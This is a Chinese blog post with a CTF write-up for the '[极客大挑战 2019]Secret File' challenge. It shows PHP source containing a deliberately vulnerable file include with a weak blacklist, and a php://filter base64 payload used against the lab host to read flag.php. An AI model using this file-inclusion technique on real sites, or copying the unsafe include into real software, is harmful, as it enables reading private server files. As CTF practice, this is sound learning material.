2021-06-19

最新推荐文章于 2021-12-12 02:07:07 发布

HaHazzzlll

最新推荐文章于 2021-12-12 02:07:07 发布

阅读量98

点赞数

分类专栏： ctf

本文链接：https://blog.csdn.net/ZZZllllllxx/article/details/118055469

版权

ctf 专栏收录该内容

18 篇文章 0 订阅

订阅专栏

本文详细描述了一次极客大挑战中解决安全问题的过程。通过php伪协议和302重定向，作者发现了secr3t.php文件，并尝试访问flag.php。由于过滤机制，直接访问flag.php无效，于是构造了php伪协议payload成功解码获取了隐藏信息。

摘要由CSDN通过智能技术生成

2021/6/19
[极客大挑战 2019]Secret File
php伪协议
302转跳
打开之后页面没啥有用的信息去看源码
在这里插入图片描述
发现了Archive_room.php访问有一个
SECRET 点击发现是直接就转跳了想到bp抓包
于是抓包

发现 secr3t.php
去访问发现一段源码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

一开始考虑直接访问flag.php，但是发现查看不了flag
又看上边过滤了很多，于是又想到了php伪协议
构造payload：http://1ad1ad22-079c-4897-8eb9-2ebfe14abc2b.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
果然

在这里插入图片描述
解码

HaHazzzlll

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
2021-06-19

2021/6/19[极客大挑战 2019]Secret Filephp伪协议302转跳打开之后页面没啥有用的信息去看源码发现了Archive_room.php访问有一个SECRET 点击发现是直接就转跳了想到bp抓包于是抓包发现 secr3t.php去访问发现一段源码<html> <title>secret</title> <meta charset="UTF-8"><?php highlight_f
复制链接

扫一扫

专栏目录